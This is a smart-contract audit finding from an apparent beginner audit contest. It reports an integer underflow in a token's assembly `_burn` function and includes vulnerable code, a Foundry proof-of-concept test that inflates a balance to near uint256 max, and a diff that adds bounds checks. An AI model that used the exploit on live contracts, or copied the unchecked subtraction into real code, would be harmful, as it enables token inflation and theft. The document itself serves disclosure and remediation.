Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
View results
Submission Details
Severity: high
Valid

Integer Underflow in `_burn` Allows Users to Inflate Balance to Near-Max `uint256`

Root Cause:
_burn uses inline assembly and subtracts value from accountBalance and supply without validating that balance >= value and supply >= value (no underflow guards)

Impact:
Underflow allows balances to wrap to uint256.max → attacker can inflate personal balance and break totalSupply, enabling minting/dumping of tokens.

Description

  • The internal _burn function updates total supply and account balance using raw sub in assembly, without checking that the current values are sufficient:

function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
// ...code...
let supply := sload(supplySlot)
@> sstore(supplySlot, sub(supply, value)) // no supply >= value check
// ...code...
let accountBalance := sload(accountBalanceSlot)
@> // Missing: if gt(value, accountBalance) { revert(...) }
sstore(accountBalanceSlot, sub(accountBalance, value)) // underflows when value > accountBalance
}
}

When value > accountBalance, the subtraction underflows and writes a very large number (close to type(uint256).max) into the balance slot instead of reverting. This breaks accounting invariants and effectively lets the caller “create” tokens.

Risk

Likelihood:

  • This will occur every time someone calls burn() with an amount greater than their balance

  • No special conditions needed - just call the function


Impact:

  • Infinite Minting: Attacker can create unlimited tokens from nothing, causing their balance to underflow to type(uint256).max.

  • Broken Economics: The totalSupply will also underflow, rendering global token metrics incorrect.

  • Protocol Collapse: The attacker can dump these generated tokens into liquidity pools, draining all value from the protocol.


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract BurnUnderflowTest is Test {
Token public token;
address public alice = makeAddr("alice");
function setUp() public {
token = new Token();
}
function test_burn_more_than_balance() public {
// Step 1: Give Alice 100 tokens
token.mint(alice, 100);
console.log("Balance before:", token.balanceOf(alice));
// Step 2: Burn 200 tokens (more than Alice has)
// This should revert, but it doesn't
token.burn(alice, 200);
// Step 3: Check result - balance is now huge
console.log("Balance after:", token.balanceOf(alice));
// Step 4: Verify underflow occurred
assert(token.balanceOf(alice) > 1000);
}
}

Run:

forge test --match-test test_burn_more_than_balance -vvvv

Output:

[PASS] test_burn_more_than_balance()
Logs:
Balance before: 100
Balance after: 115792089237316195423570985008687907853269984665640564039457584007913129639836

Recommended Mitigation

function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
- sstore(supplySlot, sub(supply, value))
+ if lt(supply, value) { revert(0, 0) } // Add underflow check for supply
+ sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, sub(accountBalance, value))
+ // Check for sufficient balance
+ if lt(accountBalance, value) {
+ mstore(0x00, shl(224, 0xe450d38c)) // ERC20InsufficientBalance selector
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), accountBalance)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+ sstore(accountBalanceSlot, sub(accountBalance, value))
}
}
Updates

Lead Judging Commences

gaurangbrdv Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

overflow & underflow

missing checks for overflow and underflow.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!